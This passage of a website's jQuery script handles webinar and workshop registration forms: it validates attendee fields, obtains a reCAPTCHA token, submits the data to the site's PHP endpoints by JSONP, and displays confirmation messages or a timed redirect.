                     url : fullpath+'/webinar_submit-prv-paid.php?first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other)+'&workshop_student_id='+encodeURIComponent(workshop_student_id)+'&workshop_other='+encodeURIComponent(workshop_other)+'&workshop_daopts='+encodeURIComponent(workshop_daopt)+'&workshop_answers='+encodeURIComponent(workshop_answers)+'&workshop_comments='+encodeURIComponent(workshop_comments),
                    dataType: 'jsonp',
                    jsonpCallback: "callback",
                    data : 'first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other)+'&workshop_student_id='+encodeURIComponent(workshop_student_id)+'&workshop_other='+encodeURIComponent(workshop_other)+'&workshop_daopts='+encodeURIComponent(workshop_daopt)+'&workshop_answers='+encodeURIComponent(workshop_answers)+'&workshop_comments='+encodeURIComponent(workshop_comments),
                    success:function(response){
                        console.log(response);
                        var response_split = response.split("|");
                        //console.log(response_split);
                        if(response_split[0] == "User registered")		
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                            ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                        }
                        else if(response_split[0] == "The user is already registered")
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                        }
                        else if(response_split[0] == "User registered old")
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                            window.setTimeout(function(){                            
                                window.location.href = response_split[1];
                            }, 6000);   
                            
                            
                            if(jQuery("#webinar_counter").length)
                            {
                                var interval = setInterval(function() {
                                    counter--;
                                    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                    if (counter == 1) {
                                        window.location.href = response_split[1];
                                        clearInterval(interval);
                                    }
                                }, 1000);
                            }
                            else
                            {
                                var interval = setInterval(function() {
                                    counter--;                                    
                                    if (counter == 1) {
                                        window.location.href = response_split[1];
                                        clearInterval(interval);
                                    }
                                }, 1000);
                            }
                        }
                        else
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                        }
                    },
                  error:function(response){
                    console.log(response);
                    jQuery("#btn_submit").prop('disabled', false);
                    jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                    jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                  }			
                });         
            }
                
            });
        });		
    });
	
	/* KR new forn end */
	
    jQuery("#webinar_submit_btn_prv").click(function(){	
        
        grecaptcha.ready(function () {
            grecaptcha.execute('6LcKm8UZAAAAAIQGO7vhznrUoHGmXmHs2_jHG-lX', { action: 'submit' }).then(function (token) {
                var recaptchaResponse = document.getElementById('recaptchaResponse');
                recaptchaResponse.value = token;
        
            var first_name = jQuery("#webinar_first_name").val();
            //var university_email = jQuery("#webinar_uni_email").val();        
            var webinar_id = jQuery("#webinar_id").val();
            var webinar_student_title = jQuery("#webinar_student_title").val();
            var webinar_title_other = jQuery("#webinar_title_other").val();
            var webinar_type = jQuery("#webinar_type").val();
            var webinar_name = jQuery("#webinar_name").val();
            //var university_name = jQuery("#university_name").val();
            var department_name = jQuery("#department_name").val();
            var workshop_student_id = jQuery("#workshop_student_id").val();
            var workshop_other = jQuery("#workshop_other").val();
            var workshop_answers = jQuery("#workshop_answers").val();
            var workshop_comments = jQuery("#workshop_comments").val();
            var webinar_bid = jQuery("#webinar_bid").val();
            var webinar_cid = jQuery("#webinar_cid").val();
            var subscribe_us = jQuery("#subscribe_us").val(); 
            var webinar_pid = jQuery("#webinar_pid").val();
            var webinar_source = GetURLParameter('utm_source');
            var webinar_medium = GetURLParameter('utm_medium');
            var webinar_campaign = GetURLParameter('utm_campaign');  
            var emailblockReg = /^([\w-\.]+@(?!gmail.com)(?!naver.com)(?!daum.net)(?!yahoo.com)(?!hanmail.net)(?!hotmail.com)(?!nate.com)(?!outlook.com)(?!GMAIL.COM)(?!NAVER.COM)(?!DAUM.NET)(?!YAHOO.COM)(?!HANMAIL.NET)(?!HOTMAIL.COM)(?!NATE.COM)(?!OUTLOOK.COM)([\w-]+\.)+[\w-]{2,4})?$/;
            var phoneregex = /^(?=.*[0-9])[- +()0-9]+$/gm;

            if(webinar_bid == 1 || webinar_bid == 10 || webinar_bid == 17)
            { 
                var countryData = iti.getSelectedCountryData();
                var input = document.querySelector("#webinar_phone");                 
                var phone = jQuery("#webinar_phone").val();            
            }
            else
            {
                var phone = jQuery("#webinar_phone").val();
            }                
            
            if((webinar_bid != 20 && webinar_bid == 1 && webinar_cid == 1628))
            {
                var email = "NA";   
            }
            else if(webinar_bid != 20)
            {
                var email = jQuery("#webinar_email").val();      
            }
            else
            {
                var email = "NA";
            }
            jQuery('.has-success, .has-warning').hide();

            if(jQuery('#subscribe_us').is(":checked"))
            {
                var subscribe_us = "Yes";
            }
            else
            {
                var subscribe_us = "No";
            }
            //console.log(email);
            if(first_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_first_name').parent().addClass('has-error');
                jQuery('.firstname_error').show();
                return false;
            } 
     /*       else if(university_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#university_name').parent().addClass('has-error');
                jQuery('.univ_name_error').show();
                return false;
            }*/
          /*  else if(university_email.trim() == "" || !validateEmail(university_email))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_uni_email').parent().addClass('has-error');
                jQuery('.uni_email_error').show();
                return false;
            }
            else if(!emailblockReg.test(university_email) && webinar_bid == 10)
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_uni_email').parent().addClass('has-error');
                jQuery('.uni_email_error').show();
                return false;
            }*/
            else if(((email.trim() == "" || !validateEmail(email)) && webinar_bid != 20 && webinar_cid != 1628 && webinar_bid != 14))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_email').parent().addClass('has-error');
                jQuery('.email_error').show();
                return false;
            }
            else if((department_name.trim() == "" && webinar_bid == 20) || (department_name.trim() == "" && webinar_bid == 1 && webinar_cid == 1628))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#department_name').parent().addClass('has-error');
                jQuery('.department_name_error').show();
                return false;
            }   
            else if(workshop_student_id.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#workshop_student_id').parent().addClass('has-error');
                jQuery('.id_error').show();
                return false;
            }     
            else if(workshop_answers.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#workshop_answers').parent().addClass('has-error');
                jQuery('.question_error').show();
                return false;
            }  
            else if(webinar_bid == 1 || webinar_bid == 10 || webinar_bid == 17)
            {
                if(!phoneregex.test(phone) && phone.trim() != "")
                {
                    errorMsg.innerHTML = "Please enter a valid number";              
                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    jQuery('#webinar_phone').parent().addClass('has-error');
                    jQuery('.phone_error').show();
                    return false;       
                }
                else
                {      
                    var phone_number = '';
                    if(phone.trim() != "")
                    {
                        phone_number = '+'+countryData.dialCode+' '+phone;        
                    }   

                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    console.log('Title = '+webinar_student_title);
                    //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
                    jQuery.ajax({
                        type: 'POST',
                        url : fullpath+'/webinar_submit-prv.php?first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other)+'&workshop_student_id='+encodeURIComponent(workshop_student_id)+'&workshop_other='+encodeURIComponent(workshop_other)+'&workshop_answers='+encodeURIComponent(workshop_answers)+'&workshop_comments='+encodeURIComponent(workshop_comments),
                        dataType: 'jsonp',
                        jsonpCallback: "callback",
                        data : 'first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other)+'&workshop_student_id='+encodeURIComponent(workshop_student_id)+'&workshop_other='+encodeURIComponent(workshop_other)+'&workshop_answers='+encodeURIComponent(workshop_answers)+'&workshop_comments='+encodeURIComponent(workshop_comments),
                        success:function(response){
                            console.log(response);
                            var response_split = response.split("|");
                            //console.log(response_split);
                            if(response_split[0] == "User registered")		
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                                ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                            }
                            else if(response_split[0] == "The user is already registered")
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                //jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                //jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                            }
                            else if(response_split[0] == "User registered old")
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                                window.setTimeout(function(){                            
                                    window.location.href = response_split[1];
                                }, 6000);   
                                
                                if(jQuery("#webinar_counter").length)
                                {
                                    var interval = setInterval(function() {
                                        counter--;
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }
                                else
                                {
                                    var interval = setInterval(function() {
                                        counter--;                                    
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }                                
                            }
                            else
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                            }
                        },
                      error:function(response){
                        console.log(response);
                        jQuery("#btn_submit").prop('disabled', false);
                        jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                        jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                      }			
                    });         
                }            
            }
            else
            {
                var phone_number = '';
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                console.log('Title = '+webinar_student_title);
                //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
                jQuery.ajax({
                    type: 'POST',
                     url : fullpath+'/webinar_submit-prv.php?first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other)+'&workshop_student_id='+encodeURIComponent(workshop_student_id)+'&workshop_other='+encodeURIComponent(workshop_other)+'&workshop_answers='+encodeURIComponent(workshop_answers)+'&workshop_comments='+encodeURIComponent(workshop_comments),
                    dataType: 'jsonp',
                    jsonpCallback: "callback",
                    data : 'first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other)+'&workshop_student_id='+encodeURIComponent(workshop_student_id)+'&workshop_other='+encodeURIComponent(workshop_other)+'&workshop_answers='+encodeURIComponent(workshop_answers)+'&workshop_comments='+encodeURIComponent(workshop_comments),
                    success:function(response){
                        console.log(response);
                        var response_split = response.split("|");
                        //console.log(response_split);
                        if(response_split[0] == "User registered")		
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                            ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                        }
                        else if(response_split[0] == "The user is already registered")
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                        }
                        else if(response_split[0] == "User registered old")
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                            window.setTimeout(function(){                            
                                window.location.href = response_split[1];
                            }, 6000);   
                            
                            
                            if(jQuery("#webinar_counter").length)
                            {
                                var interval = setInterval(function() {
                                    counter--;
                                    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                    if (counter == 1) {
                                        window.location.href = response_split[1];
                                        clearInterval(interval);
                                    }
                                }, 1000);
                            }
                            else
                            {
                                var interval = setInterval(function() {
                                    counter--;                                    
                                    if (counter == 1) {
                                        window.location.href = response_split[1];
                                        clearInterval(interval);
                                    }
                                }, 1000);
                            }
                        }
                        else
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                        }
                    },
                  error:function(response){
                    console.log(response);
                    jQuery("#btn_submit").prop('disabled', false);
                    jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                    jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                  }			
                });         
            }
                
            });
        });		
    });
	
  jQuery("#webinar_submit_tw").click(function(){	
        
        grecaptcha.ready(function () {
            grecaptcha.execute('6LcKm8UZAAAAAIQGO7vhznrUoHGmXmHs2_jHG-lX', { action: 'submit' }).then(function (token) {
                var recaptchaResponse = document.getElementById('recaptchaResponse');
                recaptchaResponse.value = token;
        
            var first_name = jQuery("#webinar_first_name").val();
			var email = jQuery("#webinar_email").val();
           /* var university_email = jQuery("#webinar_uni_email").val();  */      
            var webinar_id = jQuery("#webinar_id").val();
            var webinar_student_title = jQuery("#webinar_student_title").val();
            var webinar_title_other = jQuery("#webinar_title_other").val();
            var webinar_type = jQuery("#webinar_type").val();
            var webinar_name = jQuery("#webinar_name").val();
            /*var university_name = jQuery("#university_name").val();*/
            /*var department_name = jQuery("#department_name").val();*/
            var webinar_bid = jQuery("#webinar_bid").val();
            var webinar_cid = jQuery("#webinar_cid").val();
            var subscribe_us = jQuery("#subscribe_us").val(); 
            var webinar_pid = jQuery("#webinar_pid").val();
            var webinar_source = GetURLParameter('utm_source');
            var webinar_medium = GetURLParameter('utm_medium');
            var webinar_campaign = GetURLParameter('utm_campaign');  
            var emailblockReg = /^([\w-\.]+@(?!gmail.com)(?!naver.com)(?!daum.net)(?!yahoo.com)(?!hanmail.net)(?!hotmail.com)(?!nate.com)(?!outlook.com)(?!GMAIL.COM)(?!NAVER.COM)(?!DAUM.NET)(?!YAHOO.COM)(?!HANMAIL.NET)(?!HOTMAIL.COM)(?!NATE.COM)(?!OUTLOOK.COM)([\w-]+\.)+[\w-]{2,4})?$/;
            var phoneregex = /^(?=.*[0-9])[- +()0-9]+$/gm;

            if(webinar_bid == 1 || webinar_bid == 10 || webinar_bid == 17)
            { 
                var countryData = iti.getSelectedCountryData();
                var input = document.querySelector("#webinar_phone");                 
                var phone = jQuery("#webinar_phone").val();            
            }
            else
            {
                var phone = jQuery("#webinar_phone").val();
            }                
            
            if((webinar_bid != 20 && webinar_bid == 1 && webinar_cid == 1628))
            {
                var email = "NA";   
            }
            else if(webinar_bid != 20)
            {
                var email = jQuery("#webinar_email").val();      
            }
            else
            {
                var email = "NA";
            }
            jQuery('.has-success, .has-warning').hide();

            if(jQuery('#subscribe_us').is(":checked"))
            {
                var subscribe_us = "Yes";
            }
            else
            {
                var subscribe_us = "No";
            }
            //console.log(email);
            if(first_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_first_name').parent().addClass('has-error');
                jQuery('.firstname_error').show();
                return false;
            } 
       /*     else if(university_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#university_name').parent().addClass('has-error');
                jQuery('.univ_name_error').show();
                return false;
            }*/
       /*     else if(university_email.trim() == "" || !validateEmail(university_email))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_uni_email').parent().addClass('has-error');
                jQuery('.uni_email_error').show();
                return false;
            }*/
          /*  else if(!emailblockReg.test(university_email) && webinar_bid == 10)
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_uni_email').parent().addClass('has-error');
                jQuery('.uni_email_error').show();
                return false;
            }*/
            else if(((email.trim() == "" || !validateEmail(email)) && webinar_bid != 20 && webinar_cid != 1628 && webinar_bid != 14 && webinar_bid != 10))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_email').parent().addClass('has-error');
                jQuery('.email_error').show();
                return false;
            }
          /*  else if((department_name.trim() == "" && webinar_bid == 20) || (department_name.trim() == "" && webinar_bid == 1 && webinar_cid == 1628))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#department_name').parent().addClass('has-error');
                jQuery('.department_name_error').show();
                return false;
            } */       
            else if(webinar_bid == 1 || webinar_bid == 10 || webinar_bid == 17)
            {
                if(!phoneregex.test(phone) && phone.trim() != "")
                {
                    errorMsg.innerHTML = "Please enter a valid number";              
                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    jQuery('#webinar_phone').parent().addClass('has-error');
                    jQuery('.phone_error').show();
                    return false;       
                }
                else
                {      
                    var phone_number = '';
                    if(phone.trim() != "")
                    {
                        phone_number = '+'+countryData.dialCode+' '+phone;        
                    }   

                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    console.log('Title = '+webinar_student_title);
                    //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
                    jQuery.ajax({
                        type: 'POST',
                        url : fullpath+'/webinar_submit_tw.php?first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                        dataType: 'jsonp',
                        jsonpCallback: "callback",
                        data : 'first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                        success:function(response){
                            console.log(response);
                            var response_split = response.split("|");
                            //console.log(response_split);
                            if(response_split[0] == "User registered")		
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                                ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                            }
                            else if(response_split[0] == "The user is already registered")
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                //jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                //jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                            }
                            else if(response_split[0] == "User registered old")
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                                window.setTimeout(function(){                            
                                    window.location.href = response_split[1];
                                }, 6000);   
                                
                                if(jQuery("#webinar_counter").length)
                                {
                                    var interval = setInterval(function() {
                                        counter--;
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }
                                else
                                {
                                    var interval = setInterval(function() {
                                        counter--;                                    
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }                                
                            }
                            else
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                            }
                        },
                      error:function(response){
                        console.log(response);
                        jQuery("#btn_submit").prop('disabled', false);
                        jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                        jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                      }			
                    });         
                }            
            }
            else
            {
                var phone_number = '';
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();


                console.log('Title = '+webinar_student_title);
                //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
                jQuery.ajax({
                    type: 'POST',
                     url : fullpath+'/webinar_submit_tw.php?first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                    dataType: 'jsonp',
                    jsonpCallback: "callback",
                    data : 'first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                    success:function(response){
                        console.log(response);
                        var response_split = response.split("|");
                        //console.log(response_split);
                        if(response_split[0] == "User registered")		
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                            ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                        }
                        else if(response_split[0] == "The user is already registered")
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                        }
                        else if(response_split[0] == "User registered old")
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                            window.setTimeout(function(){                            
                                window.location.href = response_split[1];
                            }, 6000);   
                            
                            
                            if(jQuery("#webinar_counter").length)
                            {
                                var interval = setInterval(function() {
                                    counter--;
                                    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                    if (counter == 1) {
                                        window.location.href = response_split[1];
                                        clearInterval(interval);
                                    }
                                }, 1000);
                            }
                            else
                            {
                                var interval = setInterval(function() {
                                    counter--;                                    
                                    if (counter == 1) {
                                        window.location.href = response_split[1];
                                        clearInterval(interval);
                                    }
                                }, 1000);
                            }
                        }
                        else
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                        }
                    },
                  error:function(response){
                    console.log(response);
                    jQuery("#btn_submit").prop('disabled', false);
                    jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                    jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                  }			
                });         
            }
                
            });
        });		
    });
	
